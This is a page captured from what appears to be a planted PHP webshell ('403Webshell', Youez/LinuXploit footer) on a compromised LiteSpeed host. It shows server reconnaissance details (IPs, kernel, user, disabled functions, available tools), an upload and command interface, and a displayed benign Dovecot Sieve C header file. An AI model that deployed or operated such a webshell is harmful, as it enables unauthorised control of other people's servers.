403Webshell
Server IP : 176.32.38.42  /  Your IP : 216.73.217.52
Web Server : LiteSpeed
System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User : s1225329 ( 1835)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2008309/root/usr/include/dovecot/sieve/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/2008309/root/usr/include/dovecot/sieve/sieve-script-private.h
#ifndef SIEVE_SCRIPT_PRIVATE_H
#define SIEVE_SCRIPT_PRIVATE_H

#include "sieve-common.h"
#include "sieve-script.h"

/*
 * Script object
 */

struct sieve_script_vfuncs {
	void (*destroy)(struct sieve_script *script);

	int (*open)(struct sieve_script *script, enum sieve_error *error_r);

	int (*get_stream)(struct sieve_script *script,
			  struct istream **stream_r, enum sieve_error *error_r);

	/* binary */
	int (*binary_read_metadata)(struct sieve_script *_script,
				    struct sieve_binary_block *sblock,
				    sieve_size_t *offset);
	void (*binary_write_metadata)(struct sieve_script *script,
				      struct sieve_binary_block *sblock);
	bool (*binary_dump_metadata)(struct sieve_script *script,
				     struct sieve_dumptime_env *denv,
				     struct sieve_binary_block *sblock,
				     sieve_size_t *offset);
	struct sieve_binary *(*binary_load)(struct sieve_script *script,
					    enum sieve_error *error_r);
	int (*binary_save)(struct sieve_script *script,
			   struct sieve_binary *sbin, bool update,
			   enum sieve_error *error_r);
	const char *(*binary_get_prefix)(struct sieve_script *script);

	/* management */
	int (*rename)(struct sieve_script *script, const char *newname);
	int (*delete)(struct sieve_script *script);
	int (*is_active)(struct sieve_script *script);
	int (*activate)(struct sieve_script *script);

	/* properties */
	int (*get_size)(const struct sieve_script *script, uoff_t *size_r);

	/* matching */
	bool (*equals)(const struct sieve_script *script,
		       const struct sieve_script *other);
};

struct sieve_script {
	pool_t pool;
	unsigned int refcount;
	struct sieve_storage *storage;
	struct event *event;

	const char *driver_name;
	const struct sieve_script *script_class;
	struct sieve_script_vfuncs v;

	const char *name;
	const char *location;

	/* Stream */
	struct istream *stream;

	bool open:1;
};

void sieve_script_init(struct sieve_script *script,
		       struct sieve_storage *storage,
		       const struct sieve_script *script_class,
		       const char *location, const char *name);

/*
 * Built-in script drivers
 */

extern const struct sieve_script sieve_data_script;
extern const struct sieve_script sieve_file_script;
extern const struct sieve_script sieve_dict_script;
extern const struct sieve_script sieve_ldap_script;

/*
 * Error handling
 */

void sieve_script_set_error(struct sieve_script *script, enum sieve_error error,
			    const char *fmt, ...) ATTR_FORMAT(3, 4);
void sieve_script_set_internal_error(struct sieve_script *script);
void sieve_script_set_critical(struct sieve_script *script,
			       const char *fmt, ...) ATTR_FORMAT(2, 3);

/*
 * Script sequence
 */

void sieve_script_sequence_init(struct sieve_script_sequence *seq,
				struct sieve_storage *storage);

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit